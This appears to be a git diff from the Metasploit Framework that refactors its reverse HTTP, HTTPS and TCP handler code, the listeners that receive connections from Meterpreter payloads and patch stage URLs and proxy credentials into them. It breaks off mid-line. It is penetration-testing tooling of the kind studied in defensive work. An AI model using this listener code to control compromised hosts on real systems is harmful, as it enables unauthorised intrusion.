"yfHsn", "YLzzp", - "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", - "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", - "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", - "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", - "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", - "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", - "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", - "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", - "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", - "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", - "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", - "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", - "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", - "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", - "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", - "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", - "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", - "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", - "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", - "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", - "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", - "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", - "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", - "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", - "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx" - ] - - # - # Use the +refname+ to determine whether this handler uses SSL or not - # - def ssl? - !!(self.refname.index("https")) - end - - # - # Return a URI of the form scheme://host:port/ - # - # Scheme is one of http or https and host is properly wrapped in [] for ipv6 - # addresses. - # - def full_uri - unless datastore['HIDDENHOST'].nil? or datastore['HIDDENHOST'].empty? - lhost = datastore['HIDDENHOST'] - else - lhost = datastore['LHOST'] - end - if lhost.empty? or lhost == "0.0.0.0" or lhost == "::" - lhost = Rex::Socket.source_address - end - lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) - scheme = (ssl?) ? "https" : "http" - unless datastore['HIDDENPORT'].nil? or datastore['HIDDENPORT'] == 0 - uri = "#{scheme}://#{lhost}:#{datastore["HIDDENPORT"]}/" - else - uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/" - end - - uri - end - - # - # Map "random" URIs to static strings, allowing us to randomize - # the URI sent in the first request. - # - def process_uri_resource(uri_match) - - # This allows 'random' strings to be used as markers for - # the INIT and CONN request types, based on a checksum - uri_strip, uri_conn = uri_match.split('_', 2) - uri_strip.sub!(/^\//, '') - uri_check = Rex::Text.checksum8(uri_strip) - - # Match specific checksums and map them to static URIs - case uri_check - when URI_CHECKSUM_INITW - uri_match = "/INITM" - when URI_CHECKSUM_INITJ - uri_match = "/INITJM" - when URI_CHECKSUM_CONN - uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) ) - end - - uri_match - end - - # - # Create a URI that matches a given checksum - # - def generate_uri_checksum(sum) - chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a - 32.times do - uri = Rex::Text.rand_text_alphanumeric(3) - chk.sort_by {rand}.each do |x| - return(uri + x) if Rex::Text.checksum8(uri + x) == sum - end - end - - # Otherwise return one of the pre-calculated strings - return URI_CHECKSUM_PRECALC[sum] - end - # # Initializes the HTTP SSL tunneling handler. # @@ -163,18 +51,69 @@ module ReverseHttp OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]), OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]), OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ]) ], Msf::Handler::ReverseHttp) end - # # Toggle for IPv4 vs IPv6 mode # - def ipv6 - self.refname.index('ipv6') ? true : false + def ipv6? + Rex::Socket.is_ipv6?(datastore['LHOST']) end + # Determine where to bind the server # + # @return [String] + def listener_address + if datastore['ReverseListenerBindAddress'].to_s.empty? + bindaddr = (ipv6?) ? '::' : '0.0.0.0' + else + bindaddr = datastore['ReverseListenerBindAddress'] + end + + bindaddr + end + + # @return [String] A URI of the form +scheme://host:port/+ + def listener_uri + if ipv6? + listen_host = "[#{listener_address}]" + else + listen_host = listener_address + end + "#{scheme}://#{listen_host}:#{datastore['LPORT']}/" + end + + # Return a URI suitable for placing in a payload. + # + # Host will be properly wrapped in square brackets, +[]+, for ipv6 + # addresses. + # + # @return [String] A URI of the form +scheme://host:port/+ + def payload_uri + if ipv6? + callback_host = "[#{datastore['LHOST']}]" + else + callback_host = datastore['LHOST'] + end + "#{scheme}://#{callback_host}:#{datastore['LPORT']}/" + end + + # Use the {#refname} to determine whether this handler uses SSL or not + # + def ssl? + !!(self.refname.index("https")) + end + + # URI scheme + # + # @return [String] One of "http" or "https" depending on whether we + # are using SSL + def scheme + (ssl?) ? "https" : "http" + end + # Create an HTTP listener # def setup_handler @@ -186,17 +125,13 @@ module ReverseHttp comm = nil end - # Determine where to bind the HTTP(S) server to - bindaddrs = ipv6 ? '::' : '0.0.0.0' + local_port = bind_port - if not datastore['ReverseListenerBindAddress'].to_s.empty? - bindaddrs = datastore['ReverseListenerBindAddress'] - end # Start the HTTPS server service on this host/port self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, - datastore['LPORT'].to_i, - bindaddrs, + local_port, + listener_address, ssl?, { 'Msf' => framework, @@ -218,7 +153,7 @@ module ReverseHttp }, 'VirtualDirectory' => true) - print_status("Started HTTP#{ssl? ? "S" : ""} reverse handler on #{full_uri}") + print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") end # @@ -251,7 +186,6 @@ protected # Parses the HTTPS request # def on_request(cli, req, obj) - sid = nil resp = Rex::Proto::Http::Response.new print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...") @@ -262,7 +196,7 @@ protected case uri_match when /^\/INITJM/ conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) - url = full_uri + conn_id + "/\x00" + url = payload_uri + conn_id + "/\x00" blob = "" blob << obj.generate_stage @@ -325,10 +259,10 @@ protected blob[i, proxyinfo.length] = proxyinfo print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...") #Optional authentification - unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or + unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or datastore['PROXY_TYPE'] == 'SOCKS' - + proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") proxy_username = datastore['PROXY_USERNAME'] << "\x00" blob[proxy_username_loc, proxy_username.length] = proxy_username @@ -352,7 +286,7 @@ protected conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) i = blob.index("https://" + ("X" * 256)) if i - url = full_uri + conn_id + "/\x00" + url = payload_uri + conn_id + "/\x00" blob[i, url.length] = url end print_status("Patched URL at offset #{i}...") @@ -394,7 +328,7 @@ protected create_session(cli, { :passive_dispatcher => obj.service, :conn_id => conn_id, - :url => full_uri + conn_id + "/\x00", + :url => payload_uri + conn_id + "/\x00", :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ssl => ssl?, @@ -413,6 +347,12 @@ protected obj.service.close_client( cli ) end +protected + + def bind_port + port = datastore['ReverseListenerBindPort'].to_i + port > 0 ? port : datastore['LPORT'].to_i + end end diff --git a/lib/msf/core/handler/reverse_http/uri_checksum.rb b/lib/msf/core/handler/reverse_http/uri_checksum.rb new file mode 100644 index 0000000000..cbb9ca0a76 --- /dev/null +++ b/lib/msf/core/handler/reverse_http/uri_checksum.rb @@ -0,0 +1,93 @@ +# -*- coding: binary -*- +module Msf + module Handler + module ReverseHttp + module UriChecksum + + # + # Define 8-bit checksums for matching URLs + # These are based on charset frequency + # + URI_CHECKSUM_INITW = 92 + URI_CHECKSUM_INITJ = 88 + URI_CHECKSUM_CONN = 98 + + # + # Precalculated checkums as fallback + # + URI_CHECKSUM_PRECALC = [ + "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp", + "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", + "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", + "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", + "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", + "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", + "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", + "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", + "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", + "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", + "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", + "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", + "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", + "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", + "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", + "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", + "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", + "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", + "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", + "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", + "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", + "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", + "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", + "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", + "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", + "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx" + ] + + # Map "random" URIs to static strings, allowing us to randomize + # the URI sent in the first request. + # + # @param uri_match [String] The URI string to convert back to the original static value + # @return [String] The static URI value derived from the checksum + def process_uri_resource(uri_match) + + # This allows 'random' strings to be used as markers for + # the INIT and CONN request types, based on a checksum + uri_strip, uri_conn = uri_match.split('_', 2) + uri_strip.sub!(/^\//, '') + uri_check = Rex::Text.checksum8(uri_strip) + + # Match specific checksums and map them to static URIs + case uri_check + when URI_CHECKSUM_INITW + uri_match = "/INITM" + when URI_CHECKSUM_INITJ + uri_match = "/INITJM" + when URI_CHECKSUM_CONN + uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) ) + end + + uri_match + end + + # Create a URI that matches a given checksum + # + # @param sum [Fixnum] The checksum value you are trying to create a URI for + # @return [String] The URI string that checksums to the given value + def generate_uri_checksum(sum) + chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a + 32.times do + uri = Rex::Text.rand_text_alphanumeric(3) + chk.sort_by {rand}.each do |x| + return(uri + x) if Rex::Text.checksum8(uri + x) == sum + end + end + + # Otherwise return one of the pre-calculated strings + return URI_CHECKSUM_PRECALC[sum] + end + + end + end + end +end diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb index 10ec427f6b..1cc216f6d6 100644 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ b/lib/msf/core/handler/reverse_https_proxy.rb @@ -42,13 +42,17 @@ module ReverseHttpsProxy OptPort.new('LPORT', [ true, "The local listener port", 8443 ]), OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]), OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]), - OptString.new('HIDDENHOST', [false, "The tor hidden host to connect to, when set it will be used instead of LHOST for stager generation"]), - OptInt.new('HIDDENPORT', [ false, "The hidden port to connect to, when set it will be used instead of LPORT for stager generation"]), OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]), OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]), OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"]) ], Msf::Handler::ReverseHttpsProxy) + register_advanced_options( + [ + OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]) + ], Msf::Handler::ReverseHttpsProxy) + end end diff --git a/lib/msf/core/handler/reverse_ipv6_http.rb b/lib/msf/core/handler/reverse_ipv6_http.rb deleted file mode 100644 index e3861d3b8b..0000000000 --- a/lib/msf/core/handler/reverse_ipv6_http.rb +++ /dev/null @@ -1,34 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/handler/reverse_http' - -module Msf -module Handler - -### -# -# This handler implements the HTTP tunneling interface. -# -### -module ReverseIPv6Http - - include Msf::Handler::ReverseHttp - - # - # Override the handler_type to indicate IPv6 mode - # - def self.handler_type - return "reverse_ipv6_http" - end - - # - # Returns the connection-described general handler type, in this case - # 'tunnel'. - # - def self.general_handler_type - "tunnel" - end - -end -end -end - diff --git a/lib/msf/core/handler/reverse_ipv6_https.rb b/lib/msf/core/handler/reverse_ipv6_https.rb deleted file mode 100644 index b0c22158e2..0000000000 --- a/lib/msf/core/handler/reverse_ipv6_https.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/handler/reverse_http' -require 'msf/core/handler/reverse_https' - -module Msf -module Handler - -### -# -# This handler implements the HTTP SSL tunneling interface. -# -### -module ReverseIPv6Https - - include Msf::Handler::ReverseHttps - - # - # Override the handler_type to indicate IPv6 mode - # - def self.handler_type - return "reverse_ipv6_https" - end - - # - # Returns the connection-described general handler type, in this case - # 'tunnel'. - # - def self.general_handler_type - "tunnel" - end - -end -end -end - diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index fb7b042660..9fbc2aa46d 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -53,12 +53,14 @@ module ReverseTcp [ OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) ], Msf::Handler::ReverseTcp) - self.handler_queue = ::Queue.new + self.conn_threads = [] end # @@ -72,13 +74,6 @@ module ReverseTcp end ex = false - # Switch to IPv6 ANY address if the LHOST is also IPv6 - addr = Rex::Socket.resolv_nbo(datastore['LHOST']) - # First attempt to bind LHOST. If that fails, the user probably has - # something else listening on that interface. Try again with ANY_ADDR. - any = (addr.length == 4) ? "0.0.0.0" : "::0" - - addrs = [ Rex::Socket.addr_ntoa(addr), any ] comm = datastore['ReverseListenerComm'] if comm.to_s == "local" @@ -87,19 +82,15 @@ module ReverseTcp comm = nil end - if not datastore['ReverseListenerBindAddress'].to_s.empty? - # Only try to bind to this specific interface - addrs = [ datastore['ReverseListenerBindAddress'] ] + local_port = bind_port + addrs = bind_address - # Pick the right "any" address if either wildcard is used - addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") - end addrs.each { |ip| begin self.listener_sock = Rex::Socket::TcpServer.create( 'LocalHost' => ip, - 'LocalPort' => datastore['LPORT'].to_i, + 'LocalPort' => local_port, 'Comm' => comm, 'Context' => { @@ -119,11 +110,11 @@ module ReverseTcp via = "" end - print_status("Started reverse handler on #{ip}:#{datastore['LPORT']} #{via}") + print_status("Started reverse handler on #{ip}:#{local_port} #{via}") break rescue ex = $! - print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") + print_error("Handler failed to bind to #{ip}:#{local_port}") end } raise ex if (ex) @@ -134,13 +125,20 @@ module ReverseTcp # def cleanup_handler stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill rescue nil + } end # # Starts monitoring for an inbound connection. # def start_handler - self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{datastore['LPORT']}", false) { + local_port = bind_port + self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false) { client = nil begin @@ -159,11 +157,17 @@ module ReverseTcp end while true } - self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{datastore['LPORT']}", false) { + self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false) { while true client = self.handler_queue.pop begin - handle_connection(wrap_aes_socket(client)) + if datastore['ReverseListenerThreaded'] + self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { | client_copy| + handle_connection(wrap_aes_socket(client_copy)) + } + else + handle_connection(wrap_aes_socket(client)) + end rescue ::Exception elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") end @@ -181,12 +185,12 @@ module ReverseTcp socks[0].extend(Rex::Socket::Tcp) socks[1].extend(Rex::Socket::Tcp) - m = OpenSSL::Digest::Digest.new('md5') + m = OpenSSL::Digest.new('md5') m.reset key = m.digest(datastore["AESPassword"] || "") Rex::ThreadFactory.spawn('AESEncryption', false) { - c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') + c1 = OpenSSL::Cipher.new('aes-128-cfb8') c1.encrypt c1.key=key sock.put([0].pack('N')) @@ -199,7 +203,7 @@ module ReverseTcp sock.close() } Rex::ThreadFactory.spawn('AESEncryption', false) { - c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') + c2 = OpenSSL::Cipher.new('aes-128-cfb8') c2.decrypt c2.key=key iv="" @@ -241,10 +245,36 @@ module ReverseTcp protected + def bind_port + port = datastore['ReverseListenerBindPort'].to_i + port > 0 ? port : datastore['LPORT'].to_i + end + + def bind_address + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + + addrs + end + attr_accessor :listener_sock # :nodoc: attr_accessor :listener_thread # :nodoc: attr_accessor :handler_thread # :nodoc: attr_accessor :handler_queue # :nodoc: + attr_accessor :conn_threads # :nodoc: end end diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index 9a46d74fd4..86ecd5df0e 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -83,7 +83,7 @@ module ReverseTcpDouble # Kill any remaining handle_connection threads that might # be hanging around conn_threads.each { |thr| - thr.kill + thr.kill rescue nil } end @@ -105,9 +105,6 @@ module ReverseTcpDouble client_b = self.listener_sock.accept print_status("Accepted the second client connection...") - - sock_inp, sock_out = detect_input_output(client_a, client_b) - rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -119,9 +116,10 @@ module ReverseTcpDouble # Start a new thread and pass the client connection # as the input and output pipe. Client's are expected # to implement the Stream interface. - conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy| begin - chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp_copy, sock_out_copy) + sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy) + chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp, sock_out) handle_connection(chan.lsock) rescue elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 873e69c575..3a54619693 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -84,7 +84,7 @@ module ReverseTcpDoubleSSL # Kill any remaining handle_connection threads that might # be hanging around conn_threads.each { |thr| - thr.kill + thr.kill rescue nil } end @@ -106,9 +106,6 @@ module ReverseTcpDoubleSSL client_b = self.listener_sock.accept print_status("Accepted the second client connection...") - - sock_inp, sock_out = detect_input_output(client_a, client_b) - rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -120,9 +117,10 @@ module ReverseTcpDoubleSSL # Start a new thread and pass the client connection # as the input and output pipe. Client's are expected # to implement the Stream interface. - conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy| begin - chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) + sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy) + chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp, sock_out) handle_connection(chan.lsock) rescue elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 61a1ae8b4a..11ddd4c575 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/socket' require 'thread' @@ -43,7 +44,9 @@ module ReverseTcpSsl super register_advanced_options( [ - OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']) + OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']), + OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]) ], Msf::Handler::ReverseTcpSsl) end @@ -59,13 +62,6 @@ module ReverseTcpSsl end ex = false - # Switch to IPv6 ANY address if the LHOST is also IPv6 - addr = Rex::Socket.resolv_nbo(datastore['LHOST']) - # First attempt to bind LHOST. If that fails, the user probably has - # something else listening on that interface. Try again with ANY_ADDR. - any = (addr.length == 4) ? "0.0.0.0" : "::0" - - addrs = [ Rex::Socket.addr_ntoa(addr), any ] comm = datastore['ReverseListenerComm'] if comm.to_s == "local" @@ -74,20 +70,16 @@ module ReverseTcpSsl comm = nil end - if not datastore['ReverseListenerBindAddress'].to_s.empty? - # Only try to bind to this specific interface - addrs = [ datastore['ReverseListenerBindAddress'] ] + local_port = bind_port + addrs = bind_address - # Pick the right "any" address if either wildcard is used - addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") - end addrs.each { |ip| begin comm.extend(Rex::Socket::SslTcp) self.listener_sock = Rex::Socket::SslTcpServer.create( - 'LocalHost' => datastore['LHOST'], - 'LocalPort' => datastore['LPORT'].to_i, + 'LocalHost' => ip, + 'LocalPort' => local_port, 'Comm' => comm, 'SSLCert' => datastore['SSLCert'], 'Context' => @@ -108,16 +100,43 @@ module ReverseTcpSsl via = "" end - print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}") + print_status("Started reverse SSL handler on #{ip}:#{local_port} #{via}") break rescue ex = $! - print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") + print_error("Handler failed to bind to #{ip}:#{local_port}") end } raise ex if (ex) end +protected + + def bind_port + port = datastore['ReverseListenerBindPort'].to_i + port > 0 ? port : datastore['LPORT'].to_i + end + + def bind_address + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + + addrs + end + end end diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index e37f4eed70..740af69610 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -34,11 +34,11 @@ class Module end def fullname - return type + '/' + refname + type + '/' + refname end def shortname - return refname.split('/')[-1] + refname.split('/').last end # @@ -84,7 +84,7 @@ class Module # Returns the class reference to the framework # def framework - return self.class.framework + self.class.framework end # @@ -178,6 +178,7 @@ class Module # def print_prefix + ret = '' if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || ( framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i ) @@ -189,10 +190,9 @@ class Module prefix << "[%04d] " % xn end - return prefix - else - return '' + ret = prefix end + ret end def print_status(msg='') @@ -257,7 +257,7 @@ class Module # payloads/windows/shell/reverse_tcp # def fullname - return 